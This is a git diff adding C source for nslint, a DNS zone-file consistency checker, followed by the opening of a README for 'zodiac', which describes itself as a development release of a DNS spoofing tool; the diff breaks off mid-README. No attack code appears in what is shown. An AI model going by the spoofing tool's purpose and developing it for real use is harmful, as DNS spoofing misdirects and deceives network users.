%s/%s:%d \"hinfo\" missing keyword: %s\n", + prog, cwd, file, n, cp2); + continue; + } + cp = parsequoted(cp); + if (cp == NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"hinfo\" missing quote: %s\n", + prog, cwd, file, n, cp2); + continue; + } + if (*cp != '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"hinfo\" garbage after keywords: %s\n", + prog, cwd, file, n, cp2); + continue; + } + } else if (CHECK2(rtype, 'm', 'x')) { + /* Handle "mx" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_MX, ttl, 0); + + /* Look for priority */ + if (!isdigit(*cp)) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d bad \"mx\" priority: %s\n", + prog, cwd, file, n, cp); + } + + /* Skip over priority */ + ++cp; + while (isdigit(*cp)) + ++cp; + while (isspace(*cp)) + ++cp; + if (*cp == '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d missing \"mx\" hostname\n", + prog, cwd, file, n); + } + if (strcmp(cp, "@") == 0) + (void)strcpy(cp, zone); + if (checkdots(cp)) { + ++errors; + fprintf(stderr, + checkaddr(cp) ? addrfmt : dotfmt, + prog, cwd, file, n, rtype, cp); + } + + /* Check to see if mx host exists */ + add_domain(cp, domain); + flags = FLG_MXREF; + if (*name == *cp && strcmp(name, cp) == 0) + flags |= FLG_SELFMX; + errors += updateitem(cp, 0, REC_REF, 0, flags); + } else if (rtype[0] == 'c' && strcmp(rtype, "cname") == 0) { + /* Handle "cname" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_CNAME, 0, 0); + if (checkdots(cp)) { + ++errors; + fprintf(stderr, + checkaddr(cp) ? addrfmt : dotfmt, + prog, cwd, file, n, rtype, cp); + } + + /* Make sure cname points somewhere */ + if (strcmp(cp, "@") == 0) + (void)strcpy(cp, zone); + add_domain(cp, domain); + errors += updateitem(cp, 0, REC_REF, 0, 0); + } else if (CHECK3(rtype, 's', 'r', 'v')) { + /* Handle "srv" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_SRV, 0, 0); + cp2 = cp; + + /* Skip over three values */ + for (i = 0; i < 3; ++i) { + if (!isdigit(*cp)) { + ++errors; + fprintf(stderr, "%s: %s/%s:%d" + " bad \"srv\" value: %s\n", + prog, cwd, file, n, cp); + } + + /* Skip over value */ + ++cp; + while (isdigit(*cp)) + ++cp; + while (isspace(*cp)) + ++cp; + } + + /* Check to see if mx host exists */ + add_domain(cp, domain); + errors += updateitem(cp, 0, REC_REF, 0, 0); + } else if (CHECK3(rtype, 't', 'x', 't')) { + /* Handle "txt" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_TXT, 0, 0); + cp2 = cp; + cp = parsequoted(cp); + if (cp == NULL) { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"txt\" missing quote: %s\n", + prog, cwd, file, n, cp2); + continue; + } + while (isspace(*cp)) + ++cp; + if (*cp != '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"txt\" garbage after text: %s\n", + prog, cwd, file, n, cp2); + continue; + } + } else if (CHECK2(rtype, 'n', 's')) { + /* Handle "ns" record */ + errors += updateitem(zone, 0, REC_NS, 0, 0); + if (strcmp(cp, "@") == 0) + (void)strcpy(cp, zone); + if (checkdots(cp)) { + ++errors; + fprintf(stderr, + checkaddr(cp) ? addrfmt : dotfmt, + prog, cwd, file, n, rtype, cp); + } + add_domain(cp, domain); + errors += updateitem(cp, 0, REC_REF, 0, 0); + } else if (CHECK2(rtype, 'r', 'p')) { + /* Handle "rp" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_RP, 0, 0); + cp2 = cp; + + /* Step over mailbox name */ + /* XXX could add_domain() and check further */ + while (!isspace(*cp) && *cp != '\0') + ++cp; + if (*cp == '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"rp\" missing text name: %s\n", + prog, cwd, file, n, cp2); + continue; + } + ++cp; + cp3 = cp; + + /* Step over text name */ + while (!isspace(*cp) && *cp != '\0') + ++cp; + + if (*cp != '\0') { + ++errors; + fprintf(stderr, + "%s: %s/%s:%d \"rp\" garbage after text name: %s\n", + prog, cwd, file, n, cp2); + continue; + } + + /* Make sure text name points somewhere (if not ".") */ + if (!CHECKDOT(cp3)) { + add_domain(cp3, domain); + errors += updateitem(cp3, 0, REC_REF, 0, 0); + } + } else if (rtype[0] == 'a' && strcmp(rtype, "allowdupa") == 0) { + /* Handle "allow duplicate a" record */ + add_domain(name, domain); + addr = htonl(inet_addr(cp)); + if ((int)addr == -1) { + ++errors; + cp2 = cp + strlen(cp) - 1; + if (cp2 >= cp && *cp2 == '\n') + *cp2 = '\0'; + fprintf(stderr, + "%s: %s/%s:%d bad \"allowdupa\" record ip addr \"%s\"\n", + prog, cwd, file, n, cp); + continue; + } + errors += updateitem(name, addr, 0, 0, FLG_ALLOWDUPA); + } else if (rtype[0] == 'd' && strcmp(rtype, "dnskey") == 0) { + /* Handle "dnskey" record */ + add_domain(name, domain); + errors += updateitem(name, 0, REC_CNAME, 0, 0); + if (checkdots(cp)) { + ++errors; + fprintf(stderr, + checkaddr(cp) ? addrfmt : dotfmt, + prog, cwd, file, n, rtype, cp); + } + + /* Make sure cname points somewhere */ + if (strcmp(cp, "@") == 0) + (void)strcpy(cp, zone); + add_domain(cp, domain); + errors += updateitem(cp, 0, REC_REF, 0, 0); + } else { + /* Unknown record type */ + ++errors; + fprintf(stderr, + "%s: %s/%s:%d unknown record type \"%s\"\n", + prog, cwd, file, n, rtype); + add_domain(name, domain); + errors += updateitem(name, 0, REC_UNKNOWN, 0, 0); + } + (void)strcpy(lastname, name); + } + (void)fclose(f); + return; +} + +/* add domain if necessary */ +void +add_domain(char *name, const char *domain) +{ + char *cp; + + /* Kill trailing white space and convert to lowercase */ + for (cp = name; *cp != '\0' && !isspace(*cp); ++cp) + if (isupper(*cp)) + *cp = tolower(*cp); + *cp-- = '\0'; + /* If necessary, append domain */ + if (cp >= name && *cp++ != '.') { + if (*domain != '.') + *cp++ = '.'; + (void)strcpy(cp, domain); + } + /* XXX should we insure a trailing dot? */ +} + +/* Records we use to detect duplicates */ +static struct duprec { + int record; + char *name; +} duprec[] = { + { REC_A, "a" }, + { REC_HINFO, "hinfo" }, + { REC_CNAME, "cname" }, + { 0, NULL }, +}; + +void +checkdups(struct item *ip, int records) +{ + struct duprec *dp; + + records &= (ip->records & MASK_TEST_DUP); + if (records == 0) + return; + for (dp = duprec; dp->name != NULL; ++dp) + if ((records & dp->record) != 0) { + ++errors; + fprintf(stderr, "%s: multiple \"%s\" records for %s\n", + prog, dp->name, ip->host); + records &= ~dp->record; + } + if (records != 0) + fprintf(stderr, "%s: checkdups: records not zero %s (0x%x)\n", + prog, ip->host, records); +} + +int +updateitem(const char *host, u_int32_t addr, int records, u_int ttl, int flags) +{ + const char *ccp; + int n, errs; + u_int i; + struct item *ip; + int foundsome; + + n = 0; + foundsome = 0; + errs = 0; + + /* Hash the name */ + i = 0; + ccp = host; + while (*ccp != '\0') + i = i * 37 + *ccp++; + ip = &items[i & (ITEMSIZE - 1)]; + + while (n < ITEMSIZE && ip->host) { + if ((addr == 0 || addr == ip->addr || ip->addr == 0) && + *host == *ip->host && strcmp(host, ip->host) == 0) { + ++foundsome; + if (ip->addr == 0) + ip->addr = addr; + if ((records & MASK_TEST_DUP) != 0) + checkdups(ip, records); + ip->records |= records; + /* Only check differing ttl's for A and MX records */ + if (ip->ttl == 0) + ip->ttl = ttl; + else if (ttl != 0 && ip->ttl != ttl) { + fprintf(stderr, + "%s: differing ttls for %s (%u != %u)\n", + prog, ip->host, ttl, ip->ttl); + ++errs; + } + ip->flags |= flags; + /* Not done if we wildcard matched the name */ + if (addr) + return (errs); + } + ++n; + ++ip; + if (ip >= &items[ITEMSIZE]) + ip = items; + } + + if (n >= ITEMSIZE) { + fprintf(stderr, "%s: out of item slots (max %d)\n", + prog, ITEMSIZE); + exit(1); + } + + /* Done if we were wildcarding the name (and found entries for it) */ + if (addr == 0 && foundsome) + return (errs); + + /* Didn't find it, make new entry */ + ++itemcnt; + if (ip->host) { + fprintf(stderr, "%s: reusing bucket!\n", prog); + exit(1); + } + ip->addr = addr; + ip->host = savestr(host); + if ((records & MASK_TEST_DUP) != 0) + checkdups(ip, records); + ip->records |= records; + if (ttl != 0) + ip->ttl = ttl; + ip->flags |= flags; + return (errs); +} + +static const char *microlist[] = { + "_tcp", + "_udp", + "_msdcs", + "_sites", + NULL +}; + +int +rfc1034host(const char *host, int recs) +{ + const char *cp, **p; + int underok; + + underok = 0; + for (p = microlist; *p != NULL ;++p) + if ((cp = strstr(host, *p)) != NULL && + cp > host && + cp[-1] == '.' && + cp[strlen(*p)] == '.') { + ++underok; + break; + } + + cp = host; + if (!(isalpha(*cp) || isdigit(*cp) || (*cp == '_' && underok))) { + fprintf(stderr, + "%s: illegal hostname \"%s\" (starts with non-alpha/numeric)\n", + prog, host); + return (1); + } + for (++cp; *cp != '.' && *cp != '\0'; ++cp) + if (!(isalpha(*cp) || isdigit(*cp) || *cp == '-' || + (*cp == '/' && (recs & REC_SOA) != 0))) { + fprintf(stderr, + "%s: illegal hostname \"%s\" ('%c' illegal character)\n", + prog, host, *cp); + return (1); + } + if (--cp >= host && *cp == '-') { + fprintf(stderr, "%s: illegal hostname \"%s\" (ends with '-')\n", + prog, host); + return (1); + } + return (0); +} + +void +nslint(void) +{ + int n, records, flags; + struct item *ip, *lastaip, **ipp, **itemlist; + u_int32_t addr, lastaddr, mask; + + itemlist = (struct item **)calloc(itemcnt, sizeof(*ipp)); + if (itemlist == NULL) { + fprintf(stderr, "%s: nslint: calloc: %s\n", + prog, strerror(errno)); + exit(1); + } + ipp = itemlist; + for (n = 0, ip = items; n < ITEMSIZE; ++n, ++ip) { + if (ip->host == NULL) + continue; + /* Save entries with addresses for later check */ + if (ip->addr != 0) + *ipp++ = ip; + + if (debug > 1) { + if (debug > 2) + printf("%d\t", n); + printf("%s\t%s\t0x%x\t0x%x\n", + ip->host, intoa(ip->addr), ip->records, ip->flags); + } + + /* Check for illegal hostnames (rfc1034) */ + if (rfc1034host(ip->host, ip->records)) + ++errors; + + /* Check for missing ptr records (ok if also an ns record) */ + records = ip->records & MASK_CHECK_REC; + if ((ip->records & MASK_TEST_REC) != 0) + records |= REC_OTHER; + switch (records) { + + case REC_A | REC_OTHER | REC_PTR | REC_REF: + case REC_A | REC_OTHER | REC_PTR: + case REC_A | REC_PTR | REC_REF: + case REC_A | REC_PTR: + case REC_CNAME: + /* These are O.K. */ + break; + + case REC_CNAME | REC_REF: + ++errors; + fprintf(stderr, "%s: \"cname\" referenced by other" + " \"cname\" or \"mx\": %s\n", prog, ip->host); + break; + + case REC_OTHER | REC_REF: + case REC_OTHER: + /* + * This is only an error if there is an address + * associated with the hostname; this means + * there was a wks entry with bogus address. + * Otherwise, we have an mx or hinfo. + */ + if (ip->addr != 0) { + ++errors; + fprintf(stderr, + "%s: \"wks\" without \"a\" and \"ptr\": %s -> %s\n", + prog, ip->host, intoa(ip->addr)); + } + break; + + case REC_REF: + if (!checkignoredzone(ip->host)) { + ++errors; + fprintf(stderr, "%s: name referenced without" + " other records: %s\n", prog, ip->host); + } + break; + + case REC_A | REC_OTHER | REC_REF: + case REC_A | REC_OTHER: + case REC_A | REC_REF: + case REC_A: + ++errors; + fprintf(stderr, "%s: missing \"ptr\": %s -> %s\n", + prog, ip->host, intoa(ip->addr)); + break; + + case REC_OTHER | REC_PTR | REC_REF: + case REC_OTHER | REC_PTR: + case REC_PTR | REC_REF: + case REC_PTR: + ++errors; + fprintf(stderr, "%s: missing \"a\": %s -> %s\n", + prog, ip->host, intoa(ip->addr)); + break; + + case REC_A | REC_CNAME | REC_OTHER | REC_PTR | REC_REF: + case REC_A | REC_CNAME | REC_OTHER | REC_PTR: + case REC_A | REC_CNAME | REC_OTHER | REC_REF: + case REC_A | REC_CNAME | REC_OTHER: + case REC_A | REC_CNAME | REC_PTR | REC_REF: + case REC_A | REC_CNAME | REC_PTR: + case REC_A | REC_CNAME | REC_REF: + case REC_A | REC_CNAME: + case REC_CNAME | REC_OTHER | REC_PTR | REC_REF: + case REC_CNAME | REC_OTHER | REC_PTR: + case REC_CNAME | REC_OTHER | REC_REF: + case REC_CNAME | REC_OTHER: + case REC_CNAME | REC_PTR | REC_REF: + case REC_CNAME | REC_PTR: + ++errors; + fprintf(stderr, "%s: \"cname\" %s has other records\n", + prog, ip->host); + break; + + case 0: + /* Second level test */ + if ((ip->records & ~(REC_NS | REC_TXT)) == 0) + break; + /* Fall through... */ + + default: + ++errors; + fprintf(stderr, + "%s: records == 0x%x: can't happen (%s 0x%x)\n", + prog, records, ip->host, ip->records); + break; + } + + /* Check for smtp problems */ + flags = ip->flags & MASK_TEST_SMTP; + + if ((flags & FLG_SELFMX) != 0 && (ip->records & REC_A) == 0) { + ++errors; + fprintf(stderr, + "%s: self \"mx\" for %s missing \"a\" record\n", + prog, ip->host); + } + + switch (flags) { + + case 0: + case FLG_SELFMX | FLG_SMTPWKS: + /* These are O.K. */ + break; + + case FLG_SELFMX: + if ((ip->records & REC_WKS) != 0) { + ++errors; + fprintf(stderr, + "%s: smtp/tcp missing from \"wks\": %s\n", + prog, ip->host); + } + break; + + case FLG_SMTPWKS: + ++errors; + fprintf(stderr, + "%s: saw smtp/tcp without self \"mx\": %s\n", + prog, ip->host); + break; + + default: + ++errors; + fprintf(stderr, + "%s: flags == 0x%x: can't happen (%s)\n", + prog, flags, ip->host); + } + + /* Check for chained MX records */ + if ((ip->flags & (FLG_SELFMX | FLG_MXREF)) == FLG_MXREF && + (ip->records & REC_MX) != 0) { + ++errors; + fprintf(stderr, "%s: \"mx\" referenced by other" + " \"mx\" record: %s\n", prog, ip->host); + } + } + + /* Check for doubly booked addresses */ + n = ipp - itemlist; + qsort(itemlist, n, sizeof(itemlist[0]), cmpaddr); + lastaddr = 0; + ip = NULL; + for (ipp = itemlist; n > 0; ++ipp, --n) { + addr = (*ipp)->addr; + if (lastaddr == addr && + ((*ipp)->flags & FLG_ALLOWDUPA) == 0 && + (ip->flags & FLG_ALLOWDUPA) == 0) { + ++errors; + fprintf(stderr, "%s: %s in use by %s and %s\n", + prog, intoa(addr), (*ipp)->host, ip->host); + } + lastaddr = addr; + ip = *ipp; + } + + /* Check for hosts with multiple addresses on the same subnet */ + n = ipp - itemlist; + qsort(itemlist, n, sizeof(itemlist[0]), cmphost); + if (netlistcnt > 0) { + n = ipp - itemlist; + lastaip = NULL; + for (ipp = itemlist; n > 0; ++ipp, --n) { + ip = *ipp; + if ((ip->records & REC_A) == 0 || + (ip->flags & FLG_ALLOWDUPA) != 0) + continue; + if (lastaip != NULL && + strcasecmp(ip->host, lastaip->host) == 0) { + mask = findmask(ip->addr); + if (mask == 0) { + ++errors; + fprintf(stderr, + "%s: can't find subnet mask for %s (%s)\n", + prog, ip->host, intoa(ip->addr)); + } else if ((lastaip->addr & mask) == + (ip->addr & mask) ) { + ++errors; + fprintf(stderr, + "%s: multiple \"a\" records for %s on subnet %s", + prog, ip->host, + intoa(ip->addr & mask)); + fprintf(stderr, "\n\t(%s", + intoa(lastaip->addr)); + fprintf(stderr, " and %s)\n", + intoa(ip->addr)); + } + } + lastaip = ip; + } + } + + if (debug) + printf("%s: %d/%d items used, %d error%s\n", prog, itemcnt, + ITEMSIZE, errors, errors == 1 ? "" : "s"); +} + +/* Similar to inet_ntoa() */ +char * +intoa(u_int32_t addr) +{ + char *cp; + u_int byte; + int n; + static char buf[sizeof(".xxx.xxx.xxx.xxx")]; + + cp = &buf[sizeof buf]; + *--cp = '\0'; + + n = 4; + do { + byte = addr & 0xff; + *--cp = byte % 10 + '0'; + byte /= 10; + if (byte > 0) { + *--cp = byte % 10 + '0'; + byte /= 10; + if (byte > 0) + *--cp = byte + '0'; + } + *--cp = '.'; + addr >>= 8; + } while (--n > 0); + + return cp + 1; +} + +int +parseinaddr(const char *cp, u_int32_t *netp, u_int32_t *maskp) +{ + int i, bits; + u_int32_t o, net, mask; + + if (!isdigit(*cp)) + return (0); + net = 0; + mask = 0xff000000; + bits = 0; + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + net = o << 24; + + /* Check for classless delegation mask width */ + if (*cp == '/') { + ++cp; + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + bits = o; + if (bits <= 0 || bits > 32) + return (0); + } + + if (*cp == '.' && isdigit(cp[1])) { + ++cp; + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + net = (net >> 8) | (o << 24); + mask = 0xffff0000; + if (*cp == '.' && isdigit(cp[1])) { + ++cp; + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + net = (net >> 8) | (o << 24); + mask = 0xffffff00; + if (*cp == '.' && isdigit(cp[1])) { + ++cp; + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + net = (net >> 8) | (o << 24); + mask = 0xffffffff; + } + } + } + if (strcasecmp(cp, inaddr) != 0) + return (0); + + /* Classless delegation */ + /* XXX check that calculated mask isn't smaller than octet mask? */ + if (bits != 0) + for (mask = 0, i = 31; bits > 0; --i, --bits) + mask |= (1 << i); + + *netp = net; + *maskp = mask; + return (1); +} + +u_int32_t +parseptr(const char *cp, u_int32_t net, u_int32_t mask, char **errstrp) +{ + u_int32_t o, addr; + int shift; + + addr = 0; + shift = 0; + while (isdigit(*cp) && shift < 32) { + o = 0; + do { + o = o * 10 + (*cp++ - '0'); + } while (isdigit(*cp)); + addr |= o << shift; + shift += 8; + if (*cp != '.') { + if (*cp == '\0') + break; + *errstrp = "missing dot"; + return (0); + } + ++cp; + } + + if (shift > 32) { + *errstrp = "more than 4 octets"; + return (0); + } + + if (shift == 32 && strcasecmp(cp, inaddr + 1) == 0) + return (addr); + +#ifdef notdef + if (*cp != '\0') { + *errstrp = "trailing junk"; + return (0); + } +#endif +#ifdef notdef + if ((~mask & net) != 0) { + *errstrp = "too many octets for net"; + return (0); + } +#endif + return (net | addr); +} + +int +checkwks(FILE *f, char *proto, int *smtpp, char **errstrp) +{ + int n, sawparen; + char *cp, *serv, **p; + static char errstr[132]; + char buf[1024]; + char psbuf[512]; + + if (!protoserv_init) { + initprotoserv(); + ++protoserv_init; + } + + /* Line count */ + n = 0; + + /* Terminate protocol */ + cp = proto; + while (!isspace(*cp) && *cp != '\0') + ++cp; + if (*cp != '\0') + *cp++ = '\0'; + + /* Find services */ + *smtpp = 0; + sawparen = 0; + if (*cp == '(') { + ++sawparen; + ++cp; + while (isspace(*cp)) + ++cp; + } + for (;;) { + if (*cp == '\0') { + if (!sawparen) + break; + if (fgets(buf, sizeof(buf), f) == NULL) { + *errstrp = "mismatched parens"; + return (n); + } + ++n; + cp = buf; + while (isspace(*cp)) + ++cp; + } + /* Find end of service, converting to lowercase */ + for (serv = cp; !isspace(*cp) && *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp = tolower(*cp); + if (*cp != '\0') + *cp++ = '\0'; + if (sawparen && *cp == ')') { + /* XXX should check for trailing junk */ + break; + } + + (void)sprintf(psbuf, "%s/%s", serv, proto); + + if (*serv == 's' && strcmp(psbuf, "tcp/smtp") == 0) + ++*smtpp; + + for (p = protoserv; *p != NULL; ++p) + if (*psbuf == **p && strcmp(psbuf, *p) == 0) { + break; + } + if (*p == NULL) { + sprintf(errstr, "%s unknown", psbuf); + *errstrp = errstr; + break; + } + } + + return (n); +} + +int +checkserv(const char *serv, char **p) +{ + for (; *p != NULL; ++p) + if (*serv == **p && strcmp(serv, *p) == 0) + return (1); + return (0); +} + +void +initprotoserv(void) +{ + char *cp; + struct servent *sp; + char psbuf[512]; + + protoserv_len = 256; + protoserv = (char **)malloc(protoserv_len * sizeof(*protoserv)); + if (protoserv == NULL) { + fprintf(stderr, "%s: nslint: malloc: %s\n", + prog, strerror(errno)); + exit(1); + } + + while ((sp = getservent()) != NULL) { + (void)sprintf(psbuf, "%s/%s", sp->s_name, sp->s_proto); + + /* Convert to lowercase */ + for (cp = psbuf; *cp != '\0'; ++cp) + if (isupper(*cp)) + *cp = tolower(*cp); + + if (protoserv_last + 1 >= protoserv_len) { + protoserv_len <<= 1; + protoserv = realloc(protoserv, + protoserv_len * sizeof(*protoserv)); + if (protoserv == NULL) { + fprintf(stderr, "%s: nslint: realloc: %s\n", + prog, strerror(errno)); + exit(1); + } + } + protoserv[protoserv_last] = savestr(psbuf); + ++protoserv_last; + } + protoserv[protoserv_last] = NULL; +} + +/* + * Returns true if name contains a dot but not a trailing dot. + * Special case: allow a single dot if the second part is not one + * of the 3 or 4 letter top level domains or is any 2 letter TLD + */ +int +checkdots(const char *name) +{ + const char *cp, *cp2; + + if ((cp = strchr(name, '.')) == NULL) + return (0); + cp2 = name + strlen(name) - 1; + if (cp2 >= name && *cp2 == '.') + return (0); + + /* Return true of more than one dot*/ + ++cp; + if (strchr(cp, '.') != NULL) + return (1); + + if (strlen(cp) == 2 || + strcasecmp(cp, "gov") == 0 || + strcasecmp(cp, "edu") == 0 || + strcasecmp(cp, "com") == 0 || + strcasecmp(cp, "net") == 0 || + strcasecmp(cp, "org") == 0 || + strcasecmp(cp, "mil") == 0 || + strcasecmp(cp, "int") == 0 || + strcasecmp(cp, "nato") == 0 || + strcasecmp(cp, "arpa") == 0) + return (1); + return (0); +} + +/* + * Returns true if name is really an ip address. + */ +int +checkaddr(const char *name) +{ + struct in_addr addr; + + return (inet_pton(AF_INET, name, (char *)&addr)); +} + +/* Check for an "ignored zone" (usually dynamic dns) */ +int +checkignoredzone(const char *name) +{ + int i, len, len2; + + len = strlen(name); + if (len > 1 && name[len - 1] == '.') + --len; + for (i = 0; i < numignoredzones; ++i) { + len2 = len - ignoredzones[i].len; + if (len2 >= 0 && + strncasecmp(name + len2, + ignoredzones[i].zone, len - len2) == 0) + return (1); + } + return (0); +} + +int +cmpaddr(const void *ip1, const void *ip2) +{ + u_int32_t a1, a2; + + a1 = (*(struct item **)ip1)->addr; + a2 = (*(struct item **)ip2)->addr; + + if (a1 < a2) + return (-1); + else if (a1 > a2) + return (1); + else + return (0); +} + +int +cmphost(const void *ip1, const void *ip2) +{ + const char *s1, *s2; + + s1 = (*(struct item **)ip1)->host; + s2 = (*(struct item **)ip2)->host; + + return (strcasecmp(s1, s2)); +} + +/* Returns a pointer after the next token or quoted string, else NULL */ +char * +parsequoted(char *cp) +{ + + if (*cp == '"') { + ++cp; + while (*cp != '"' && *cp != '\0') + ++cp; + if (*cp != '"') + return (NULL); + ++cp; + } else { + while (!isspace(*cp) && *cp != '\0') + ++cp; + } + return (cp); +} + +__dead void +usage(void) +{ + extern char version[]; + + fprintf(stderr, "Version %s\n", version); + fprintf(stderr, "usage: %s [-d] [-b named.boot] [-B nslint.boot]\n", + prog); + fprintf(stderr, " %s [-d] [-c named.conf] [-C nslint.conf]\n", + prog); + exit(1); +} diff --git a/dns-projects/nslint-2.1a8/savestr.c b/dns-projects/nslint-2.1a8/savestr.c new file mode 100644 index 0000000..f4ea08c --- /dev/null +++ b/dns-projects/nslint-2.1a8/savestr.c @@ -0,0 +1,65 @@ +/* + * Copyright (c) 2006, 2007 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#ifndef lint +static const char rcsid[] = + "@(#) $Id: savestr.c,v 1.3 2007/03/04 18:18:09 leres Exp $ (LBL)"; +#endif + +#include + +#include +#include +#include + +#include "gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#include "savestr.h" + +/* A replacement for strdup() that cuts down on malloc() overhead */ +char * +savestr(const char *str) +{ + u_int size; + char *p; + static char *strptr = NULL; + static u_int strsize = 0; + + size = strlen(str) + 1; + if (size > strsize) { + strsize = 1024; + if (strsize < size) + strsize = size; + strptr = (char *)malloc(strsize); + if (strptr == NULL) { + fprintf(stderr, "savestr: malloc\n"); + exit(1); + } + } + (void)strcpy(strptr, str); + p = strptr; + strptr += size; + strsize -= size; + return (p); +} diff --git a/dns-projects/nslint-2.1a8/savestr.h b/dns-projects/nslint-2.1a8/savestr.h new file mode 100644 index 0000000..51b4402 --- /dev/null +++ b/dns-projects/nslint-2.1a8/savestr.h @@ -0,0 +1,24 @@ +/* + * Copyright (c) 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * @(#) $Header: savestr.h,v 1.1 97/04/22 13:30:21 leres Exp $ (LBL) + */ + +extern char *savestr(const char *); diff --git a/dns-projects/nslint-2.1a8/strerror.c b/dns-projects/nslint-2.1a8/strerror.c new file mode 100644 index 0000000..d330a65 --- /dev/null +++ b/dns-projects/nslint-2.1a8/strerror.c @@ -0,0 +1,75 @@ +/* + * Copyright (c) 1988, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#if defined(LIBC_SCCS) && !defined(lint) +static const char sccsid[] = "@(#)strerror.c 8.1 (Berkeley) 6/4/93"; +#endif /* LIBC_SCCS and not lint */ + +#include + +#include + +#include "gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +char * +strerror(num) + int num; +{ + extern int sys_nerr; + extern char *sys_errlist[]; +#define UPREFIX "Unknown error: " + static char ebuf[40] = UPREFIX; /* 64-bit number + slop */ + register unsigned int errnum; + register char *p, *t; + char tmp[40]; + + errnum = num; /* convert to unsigned */ + if (errnum < sys_nerr) + return(sys_errlist[errnum]); + + /* Do this by hand, so we don't include stdio(3). */ + t = tmp; + do { + *t++ = "0123456789"[errnum % 10]; + } while (errnum /= 10); + for (p = ebuf + sizeof(UPREFIX) - 1;;) { + *p++ = *--t; + if (t <= tmp) + break; + } + *p = '\0'; + return(ebuf); +} diff --git a/dns-projects/zodiac/README b/dns-projects/zodiac/README new file mode 100644 index 0000000..c56d55b --- /dev/null +++ b/dns-projects/zodiac/README @@ -0,0 +1,71 @@ + +zodiac - development releases + +readme file + + + 1. intention + + in the current version zodiac is not useable for any real dns spoofing, + it is just a developing release, to get it more portable and to improve + it's code base. please don't ask us how to spoof this or that. + + the functionality isn't even documented, so you'd have to dig into the + code to actually get something out of it :-) (which should be fun, since + i tried to at least document the code hehe) + + but please contact us in any case of the follows: + + 1. you got it compiled on any of the non listed plattforms + -> email us, and tell us how you did it + + 2. you found a reproduceable bug + -> email us, and tell us how to reproduce it + + 3. you wrote a patchfile + -> email it to us, telling is what it does + + 4. you have general suggestions + -> email us + + + 2. compilation, portability + + i'm sorry i cannot assist you in building zodiac on your platform in the + current development state, please don't mail us about this, except you + got it compiled or ported to another platform and you can supply us a + patchfile. + + + 3. for developers: getting started + + if you want to participate with quality code or patches, 